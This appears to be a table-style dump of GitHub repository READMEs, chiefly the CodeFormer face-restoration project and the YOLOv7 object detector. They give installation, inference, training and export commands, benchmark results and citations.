| Chris Titus Tech's Windows Utility - Install Programs, Tweaks, Fixes, and Updates | null | 5 | 150 | 763 | 250 | 58 | 1 | 4 |
sczhou/CodeFormer | <p align="center">
<img src="assets/CodeFormer_logo.png" height=110>
</p>
## Towards Robust Blind Face Restoration with Codebook Lookup Transformer (NeurIPS 2022)
[Paper](https://arxiv.org/abs/2206.11253) | [Project Page](https://shangchenzhou.com/projects/CodeFormer/) | [Video](https://youtu.be/d3VDpkXlueI)
<a href="https://colab.research.google.com/drive/1m52PNveE4PBhYrecj34cnpEeiHcC5LTb?usp=sharing"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="google colab logo"></a> [](https://huggingface.co/spaces/sczhou/CodeFormer) [](https://replicate.com/sczhou/codeformer) [](https://openxlab.org.cn/apps/detail/ShangchenZhou/CodeFormer) 
[Shangchen Zhou](https://shangchenzhou.com/), [Kelvin C.K. Chan](https://ckkelvinchan.github.io/), [Chongyi Li](https://li-chongyi.github.io/), [Chen Change Loy](https://www.mmlab-ntu.com/person/ccloy/)
S-Lab, Nanyang Technological University
<img src="assets/network.jpg" width="800px"/>
:star: If CodeFormer is helpful to your images or projects, please help star this repo. Thanks! :hugs:
### Update
- **2023.07.20**: Integrated to :panda_face: [OpenXLab](https://openxlab.org.cn/apps). Try out online demo! [](https://openxlab.org.cn/apps/detail/ShangchenZhou/CodeFormer)
- **2023.04.19**: :whale: Training codes and config files are public available now.
- **2023.04.09**: Add features of inpainting and colorization for cropped and aligned face images.
- **2023.02.10**: Include `dlib` as a new face detector option, it produces more accurate face identity.
- **2022.10.05**: Support video input `--input_path [YOUR_VIDEO.mp4]`. Try it to enhance your videos! :clapper:
- **2022.09.14**: Integrated to :hugs: [Hugging Face](https://huggingface.co/spaces). Try out online demo! [](https://huggingface.co/spaces/sczhou/CodeFormer)
- **2022.09.09**: Integrated to :rocket: [Replicate](https://replicate.com/explore). Try out online demo! [](https://replicate.com/sczhou/codeformer)
- [**More**](docs/history_changelog.md)
### TODO
- [x] Add training code and config files
- [x] Add checkpoint and script for face inpainting
- [x] Add checkpoint and script for face colorization
- [x] ~~Add background image enhancement~~
#### :panda_face: Try Enhancing Old Photos / Fixing AI-arts
[<img src="assets/imgsli_1.jpg" height="226px"/>](https://imgsli.com/MTI3NTE2) [<img src="assets/imgsli_2.jpg" height="226px"/>](https://imgsli.com/MTI3NTE1) [<img src="assets/imgsli_3.jpg" height="226px"/>](https://imgsli.com/MTI3NTIw)
#### Face Restoration
<img src="assets/restoration_result1.png" width="400px"/> <img src="assets/restoration_result2.png" width="400px"/>
<img src="assets/restoration_result3.png" width="400px"/> <img src="assets/restoration_result4.png" width="400px"/>
#### Face Color Enhancement and Restoration
<img src="assets/color_enhancement_result1.png" width="400px"/> <img src="assets/color_enhancement_result2.png" width="400px"/>
#### Face Inpainting
<img src="assets/inpainting_result1.png" width="400px"/> <img src="assets/inpainting_result2.png" width="400px"/>
### Dependencies and Installation
- Pytorch >= 1.7.1
- CUDA >= 10.1
- Other required packages in `requirements.txt`
```
# git clone this repository
git clone https://github.com/sczhou/CodeFormer
cd CodeFormer
# create new anaconda env
conda create -n codeformer python=3.8 -y
conda activate codeformer
# install python dependencies
pip3 install -r requirements.txt
python basicsr/setup.py develop
conda install -c conda-forge dlib (only for face detection or cropping with dlib)
```
<!-- conda install -c conda-forge dlib -->
### Quick Inference
#### Download Pre-trained Models:
Download the facelib and dlib pretrained models from [[Releases](https://github.com/sczhou/CodeFormer/releases/tag/v0.1.0) | [Google Drive](https://drive.google.com/drive/folders/1b_3qwrzY_kTQh0-SnBoGBgOrJ_PLZSKm?usp=sharing) | [OneDrive](https://entuedu-my.sharepoint.com/:f:/g/personal/s200094_e_ntu_edu_sg/EvDxR7FcAbZMp_MA9ouq7aQB8XTppMb3-T0uGZ_2anI2mg?e=DXsJFo)] to the `weights/facelib` folder. You can manually download the pretrained models OR download by running the following command:
```
python scripts/download_pretrained_models.py facelib
python scripts/download_pretrained_models.py dlib (only for dlib face detector)
```
Download the CodeFormer pretrained models from [[Releases](https://github.com/sczhou/CodeFormer/releases/tag/v0.1.0) | [Google Drive](https://drive.google.com/drive/folders/1CNNByjHDFt0b95q54yMVp6Ifo5iuU6QS?usp=sharing) | [OneDrive](https://entuedu-my.sharepoint.com/:f:/g/personal/s200094_e_ntu_edu_sg/EoKFj4wo8cdIn2-TY2IV6CYBhZ0pIG4kUOeHdPR_A5nlbg?e=AO8UN9)] to the `weights/CodeFormer` folder. You can manually download the pretrained models OR download by running the following command:
```
python scripts/download_pretrained_models.py CodeFormer
```
#### Prepare Testing Data:
You can put the testing images in the `inputs/TestWhole` folder. If you would like to test on cropped and aligned faces, you can put them in the `inputs/cropped_faces` folder. You can get the cropped and aligned faces by running the following command:
```
# you may need to install dlib via: conda install -c conda-forge dlib
python scripts/crop_align_face.py -i [input folder] -o [output folder]
```
#### Testing:
[Note] If you want to compare CodeFormer in your paper, please run the following command indicating `--has_aligned` (for cropped and aligned face), as the command for the whole image will involve a process of face-background fusion that may damage hair texture on the boundary, which leads to unfair comparison.
Fidelity weight *w* lays in [0, 1]. Generally, smaller *w* tends to produce a higher-quality result, while larger *w* yields a higher-fidelity result. The results will be saved in the `results` folder.
๐ง๐ป Face Restoration (cropped and aligned face)
```
# For cropped and aligned faces (512x512)
python inference_codeformer.py -w 0.5 --has_aligned --input_path [image folder]|[image path]
```
:framed_picture: Whole Image Enhancement
```
# For whole image
# Add '--bg_upsampler realesrgan' to enhance the background regions with Real-ESRGAN
# Add '--face_upsample' to further upsample restorated face with Real-ESRGAN
python inference_codeformer.py -w 0.7 --input_path [image folder]|[image path]
```
:clapper: Video Enhancement
```
# For Windows/Mac users, please install ffmpeg first
conda install -c conda-forge ffmpeg
```
```
# For video clips
# Video path should end with '.mp4'|'.mov'|'.avi'
python inference_codeformer.py --bg_upsampler realesrgan --face_upsample -w 1.0 --input_path [video path]
```
๐ Face Colorization (cropped and aligned face)
```
# For cropped and aligned faces (512x512)
# Colorize black and white or faded photo
python inference_colorization.py --input_path [image folder]|[image path]
```
๐จ Face Inpainting (cropped and aligned face)
```
# For cropped and aligned faces (512x512)
# Inputs could be masked by white brush using an image editing app (e.g., Photoshop)
# (check out the examples in inputs/masked_faces)
python inference_inpainting.py --input_path [image folder]|[image path]
```
### Training:
The training commands can be found in the documents: [English](docs/train.md) **|** [็ฎไฝไธญๆ](docs/train_CN.md).
### Citation
If our work is useful for your research, please consider citing:
@inproceedings{zhou2022codeformer,
author = {Zhou, Shangchen and Chan, Kelvin C.K. and Li, Chongyi and Loy, Chen Change},
title = {Towards Robust Blind Face Restoration with Codebook Lookup TransFormer},
booktitle = {NeurIPS},
year = {2022}
}
### License
This project is licensed under <a rel="license" href="https://github.com/sczhou/CodeFormer/blob/master/LICENSE">NTU S-Lab License 1.0</a>. Redistribution and use should follow this license.
### Acknowledgement
This project is based on [BasicSR](https://github.com/XPixelGroup/BasicSR). Some codes are brought from [Unleashing Transformers](https://github.com/samb-t/unleashing-transformers), [YOLOv5-face](https://github.com/deepcam-cn/yolov5-face), and [FaceXLib](https://github.com/xinntao/facexlib). We also adopt [Real-ESRGAN](https://github.com/xinntao/Real-ESRGAN) to support background image enhancement. Thanks for their awesome works.
### Contact
If you have any questions, please feel free to reach me out at `shangchenzhou@gmail.com`.
| [NeurIPS 2022] Towards Robust Blind Face Restoration with Codebook Lookup Transformer | codebook,codeformer,face-enhancement,face-restoration,pytorch,super-resolution,vqgan,restoration | 1 | 3 | 44 | 71 | 215 | 1 | 0 |
WongKinYiu/yolov7 | # Official YOLOv7
Implementation of paper - [YOLOv7: Trainable bag-of-freebies sets new state-of-the-art for real-time object detectors](https://arxiv.org/abs/2207.02696)
[](https://paperswithcode.com/sota/real-time-object-detection-on-coco?p=yolov7-trainable-bag-of-freebies-sets-new)
[](https://huggingface.co/spaces/akhaliq/yolov7)
<a href="https://colab.research.google.com/gist/AlexeyAB/b769f5795e65fdab80086f6cb7940dae/yolov7detection.ipynb"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"></a>
[](https://arxiv.org/abs/2207.02696)
<div align="center">
<a href="./">
<img src="./figure/performance.png" width="79%"/>
</a>
</div>
## Web Demo
- Integrated into [Huggingface Spaces ๐ค](https://huggingface.co/spaces/akhaliq/yolov7) using Gradio. Try out the Web Demo [](https://huggingface.co/spaces/akhaliq/yolov7)
## Performance
MS COCO
| Model | Test Size | AP<sup>test</sup> | AP<sub>50</sub><sup>test</sup> | AP<sub>75</sub><sup>test</sup> | batch 1 fps | batch 32 average time |
| :-- | :-: | :-: | :-: | :-: | :-: | :-: |
| [**YOLOv7**](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7.pt) | 640 | **51.4%** | **69.7%** | **55.9%** | 161 *fps* | 2.8 *ms* |
| [**YOLOv7-X**](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7x.pt) | 640 | **53.1%** | **71.2%** | **57.8%** | 114 *fps* | 4.3 *ms* |
| | | | | | | |
| [**YOLOv7-W6**](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-w6.pt) | 1280 | **54.9%** | **72.6%** | **60.1%** | 84 *fps* | 7.6 *ms* |
| [**YOLOv7-E6**](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-e6.pt) | 1280 | **56.0%** | **73.5%** | **61.2%** | 56 *fps* | 12.3 *ms* |
| [**YOLOv7-D6**](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-d6.pt) | 1280 | **56.6%** | **74.0%** | **61.8%** | 44 *fps* | 15.0 *ms* |
| [**YOLOv7-E6E**](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-e6e.pt) | 1280 | **56.8%** | **74.4%** | **62.1%** | 36 *fps* | 18.7 *ms* |
## Installation
Docker environment (recommended)
<details><summary> <b>Expand</b> </summary>
``` shell
# create the docker container, you can change the share memory size if you have more.
nvidia-docker run --name yolov7 -it -v your_coco_path/:/coco/ -v your_code_path/:/yolov7 --shm-size=64g nvcr.io/nvidia/pytorch:21.08-py3
# apt install required packages
apt update
apt install -y zip htop screen libgl1-mesa-glx
# pip install required packages
pip install seaborn thop
# go to code folder
cd /yolov7
```
</details>
## Testing
[`yolov7.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7.pt) [`yolov7x.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7x.pt) [`yolov7-w6.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-w6.pt) [`yolov7-e6.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-e6.pt) [`yolov7-d6.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-d6.pt) [`yolov7-e6e.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-e6e.pt)
``` shell
python test.py --data data/coco.yaml --img 640 --batch 32 --conf 0.001 --iou 0.65 --device 0 --weights yolov7.pt --name yolov7_640_val
```
You will get the results:
```
Average Precision (AP) @[ IoU=0.50:0.95 | area= all | maxDets=100 ] = 0.51206
Average Precision (AP) @[ IoU=0.50 | area= all | maxDets=100 ] = 0.69730
Average Precision (AP) @[ IoU=0.75 | area= all | maxDets=100 ] = 0.55521
Average Precision (AP) @[ IoU=0.50:0.95 | area= small | maxDets=100 ] = 0.35247
Average Precision (AP) @[ IoU=0.50:0.95 | area=medium | maxDets=100 ] = 0.55937
Average Precision (AP) @[ IoU=0.50:0.95 | area= large | maxDets=100 ] = 0.66693
Average Recall (AR) @[ IoU=0.50:0.95 | area= all | maxDets= 1 ] = 0.38453
Average Recall (AR) @[ IoU=0.50:0.95 | area= all | maxDets= 10 ] = 0.63765
Average Recall (AR) @[ IoU=0.50:0.95 | area= all | maxDets=100 ] = 0.68772
Average Recall (AR) @[ IoU=0.50:0.95 | area= small | maxDets=100 ] = 0.53766
Average Recall (AR) @[ IoU=0.50:0.95 | area=medium | maxDets=100 ] = 0.73549
Average Recall (AR) @[ IoU=0.50:0.95 | area= large | maxDets=100 ] = 0.83868
```
To measure accuracy, download [COCO-annotations for Pycocotools](http://images.cocodataset.org/annotations/annotations_trainval2017.zip) to the `./coco/annotations/instances_val2017.json`
## Training
Data preparation
``` shell
bash scripts/get_coco.sh
```
* Download MS COCO dataset images ([train](http://images.cocodataset.org/zips/train2017.zip), [val](http://images.cocodataset.org/zips/val2017.zip), [test](http://images.cocodataset.org/zips/test2017.zip)) and [labels](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/coco2017labels-segments.zip). If you have previously used a different version of YOLO, we strongly recommend that you delete `train2017.cache` and `val2017.cache` files, and redownload [labels](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/coco2017labels-segments.zip)
Single GPU training
``` shell
# train p5 models
python train.py --workers 8 --device 0 --batch-size 32 --data data/coco.yaml --img 640 640 --cfg cfg/training/yolov7.yaml --weights '' --name yolov7 --hyp data/hyp.scratch.p5.yaml
# train p6 models
python train_aux.py --workers 8 --device 0 --batch-size 16 --data data/coco.yaml --img 1280 1280 --cfg cfg/training/yolov7-w6.yaml --weights '' --name yolov7-w6 --hyp data/hyp.scratch.p6.yaml
```
Multiple GPU training
``` shell
# train p5 models
python -m torch.distributed.launch --nproc_per_node 4 --master_port 9527 train.py --workers 8 --device 0,1,2,3 --sync-bn --batch-size 128 --data data/coco.yaml --img 640 640 --cfg cfg/training/yolov7.yaml --weights '' --name yolov7 --hyp data/hyp.scratch.p5.yaml
# train p6 models
python -m torch.distributed.launch --nproc_per_node 8 --master_port 9527 train_aux.py --workers 8 --device 0,1,2,3,4,5,6,7 --sync-bn --batch-size 128 --data data/coco.yaml --img 1280 1280 --cfg cfg/training/yolov7-w6.yaml --weights '' --name yolov7-w6 --hyp data/hyp.scratch.p6.yaml
```
## Transfer learning
[`yolov7_training.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7_training.pt) [`yolov7x_training.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7x_training.pt) [`yolov7-w6_training.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-w6_training.pt) [`yolov7-e6_training.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-e6_training.pt) [`yolov7-d6_training.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-d6_training.pt) [`yolov7-e6e_training.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-e6e_training.pt)
Single GPU finetuning for custom dataset
``` shell
# finetune p5 models
python train.py --workers 8 --device 0 --batch-size 32 --data data/custom.yaml --img 640 640 --cfg cfg/training/yolov7-custom.yaml --weights 'yolov7_training.pt' --name yolov7-custom --hyp data/hyp.scratch.custom.yaml
# finetune p6 models
python train_aux.py --workers 8 --device 0 --batch-size 16 --data data/custom.yaml --img 1280 1280 --cfg cfg/training/yolov7-w6-custom.yaml --weights 'yolov7-w6_training.pt' --name yolov7-w6-custom --hyp data/hyp.scratch.custom.yaml
```
## Re-parameterization
See [reparameterization.ipynb](tools/reparameterization.ipynb)
## Inference
On video:
``` shell
python detect.py --weights yolov7.pt --conf 0.25 --img-size 640 --source yourvideo.mp4
```
On image:
``` shell
python detect.py --weights yolov7.pt --conf 0.25 --img-size 640 --source inference/images/horses.jpg
```
<div align="center">
<a href="./">
<img src="./figure/horses_prediction.jpg" width="59%"/>
</a>
</div>
## Export
**Pytorch to CoreML (and inference on MacOS/iOS)** <a href="https://colab.research.google.com/github/WongKinYiu/yolov7/blob/main/tools/YOLOv7CoreML.ipynb"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"></a>
**Pytorch to ONNX with NMS (and inference)** <a href="https://colab.research.google.com/github/WongKinYiu/yolov7/blob/main/tools/YOLOv7onnx.ipynb"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"></a>
```shell
python export.py --weights yolov7-tiny.pt --grid --end2end --simplify \
--topk-all 100 --iou-thres 0.65 --conf-thres 0.35 --img-size 640 640 --max-wh 640
```
**Pytorch to TensorRT with NMS (and inference)** <a href="https://colab.research.google.com/github/WongKinYiu/yolov7/blob/main/tools/YOLOv7trt.ipynb"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"></a>
```shell
wget https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-tiny.pt
python export.py --weights ./yolov7-tiny.pt --grid --end2end --simplify --topk-all 100 --iou-thres 0.65 --conf-thres 0.35 --img-size 640 640
git clone https://github.com/Linaom1214/tensorrt-python.git
python ./tensorrt-python/export.py -o yolov7-tiny.onnx -e yolov7-tiny-nms.trt -p fp16
```
**Pytorch to TensorRT another way** <a href="https://colab.research.google.com/gist/AlexeyAB/fcb47ae544cf284eb24d8ad8e880d45c/yolov7trtlinaom.ipynb"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"></a> <details><summary> <b>Expand</b> </summary>
```shell
wget https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-tiny.pt
python export.py --weights yolov7-tiny.pt --grid --include-nms
git clone https://github.com/Linaom1214/tensorrt-python.git
python ./tensorrt-python/export.py -o yolov7-tiny.onnx -e yolov7-tiny-nms.trt -p fp16
# Or use trtexec to convert ONNX to TensorRT engine
/usr/src/tensorrt/bin/trtexec --onnx=yolov7-tiny.onnx --saveEngine=yolov7-tiny-nms.trt --fp16
```
</details>
Tested with: Python 3.7.13, Pytorch 1.12.0+cu113
## Pose estimation
[`code`](https://github.com/WongKinYiu/yolov7/tree/pose) [`yolov7-w6-pose.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-w6-pose.pt)
See [keypoint.ipynb](https://github.com/WongKinYiu/yolov7/blob/main/tools/keypoint.ipynb).
<div align="center">
<a href="./">
<img src="./figure/pose.png" width="39%"/>
</a>
</div>
## Instance segmentation (with NTU)
[`code`](https://github.com/WongKinYiu/yolov7/tree/mask) [`yolov7-mask.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-mask.pt)
See [instance.ipynb](https://github.com/WongKinYiu/yolov7/blob/main/tools/instance.ipynb).
<div align="center">
<a href="./">
<img src="./figure/mask.png" width="59%"/>
</a>
</div>
## Instance segmentation
[`code`](https://github.com/WongKinYiu/yolov7/tree/u7/seg) [`yolov7-seg.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-seg.pt)
YOLOv7 for instance segmentation (YOLOR + YOLOv5 + YOLACT)
| Model | Test Size | AP<sup>box</sup> | AP<sub>50</sub><sup>box</sup> | AP<sub>75</sub><sup>box</sup> | AP<sup>mask</sup> | AP<sub>50</sub><sup>mask</sup> | AP<sub>75</sub><sup>mask</sup> |
| :-- | :-: | :-: | :-: | :-: | :-: | :-: | :-: |
| **YOLOv7-seg** | 640 | **51.4%** | **69.4%** | **55.8%** | **41.5%** | **65.5%** | **43.7%** |
## Anchor free detection head
[`code`](https://github.com/WongKinYiu/yolov7/tree/u6) [`yolov7-u6.pt`](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-u6.pt)
YOLOv7 with decoupled TAL head (YOLOR + YOLOv5 + YOLOv6)
| Model | Test Size | AP<sup>val</sup> | AP<sub>50</sub><sup>val</sup> | AP<sub>75</sub><sup>val</sup> |
| :-- | :-: | :-: | :-: | :-: |
| **YOLOv7-u6** | 640 | **52.6%** | **69.7%** | **57.3%** |
## Citation
```
@inproceedings{wang2023yolov7,
title={{YOLOv7}: Trainable bag-of-freebies sets new state-of-the-art for real-time object detectors},
author={Wang, Chien-Yao and Bochkovskiy, Alexey and Liao, Hong-Yuan Mark},
booktitle={Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR)},
year={2023}
}
```
```
@article{wang2023designing,
title={Designing Network Design Strategies Through Gradient Path Analysis},
author={Wang, Chien-Yao and Liao, Hong-Yuan Mark and Yeh, I-Hau},
journal={Journal of Information Science and Engineering},
year={2023}
}
```
## Teaser
YOLOv7-semantic & YOLOv7-panoptic & YOLOv7-caption
<div align="center">
<a href="./">
<img src="./figure/tennis.jpg" width="24%"/>
</a>
<a href="./">
<img src="./figure/tennis_semantic.jpg" width="24%"/>
</a>
<a href="./">
<img src="./figure/tennis_panoptic.png" width="24%"/>
</a>
<a href="./">
<img src="./figure/tennis_caption.png" width="24%"/>
</a>
</div>
YOLOv7-semantic & YOLOv7-detection & YOLOv7-depth (with NTUT)
<div align="center">
<a href="./">
<img src="./figure/yolov7_city.jpg" width="80%"/>
</a>
</div>
YOLOv7-3d-detection & YOLOv7-lidar & YOLOv7-road (with NTUT)
<div align="center">
<a href="./">
<img src="./figure/yolov7_3d.jpg" width="30%"/>
</a>
<a href="./">
<img src="./figure/yolov7_lidar.jpg" width="30%"/>
</a>
<a href="./">
<img src="./figure/yolov7_road.jpg" width="30%"/>
</a>
</div>
## Acknowledgements
<details><summary> <b>Expand</b> </summary>
* [https://github.com/AlexeyAB/darknet](https://github.com/AlexeyAB/darknet)
* [https://github.com/WongKinYiu/yolor](https://github.com/WongKinYiu/yolor)
* [https://github.com/WongKinYiu/PyTorch_YOLOv4](https://github.com/WongKinYiu/PyTorch_YOLOv4)
* [https://github.com/WongKinYiu/ScaledYOLOv4](https://github.com/WongKinYiu/ScaledYOLOv4)
* [https://github.com/Megvii-BaseDetection/YOLOX](https://github.com/Megvii-BaseDetection/YOLOX)
* [https://github.com/ultralytics/yolov3](https://github.com/ultralytics/yolov3)
* [https://github.com/ultralytics/yolov5](https://github.com/ultralytics/yolov5)
* [https://github.com/DingXiaoH/RepVGG](https://github.com/DingXiaoH/RepVGG)
* [https://github.com/JUGGHM/OREPA_CVPR2022](https://github.com/JUGGHM/OREPA_CVPR2022)
* [https://github.com/TexasInstruments/edgeai-yolov5/tree/yolo-pose](https://github.com/TexasInstruments/edgeai-yolov5/tree/yolo-pose)
</details>
| Implementation of paper - YOLOv7: Trainable bag-of-freebies sets new state-of-the-art for real-time object detectors | scaled-yolov4,yolor,yolov3,yolov4,yolov7,darknet,pytorch | 1 | 30 | 242 | 134 | 1,414 | 9 | 0 |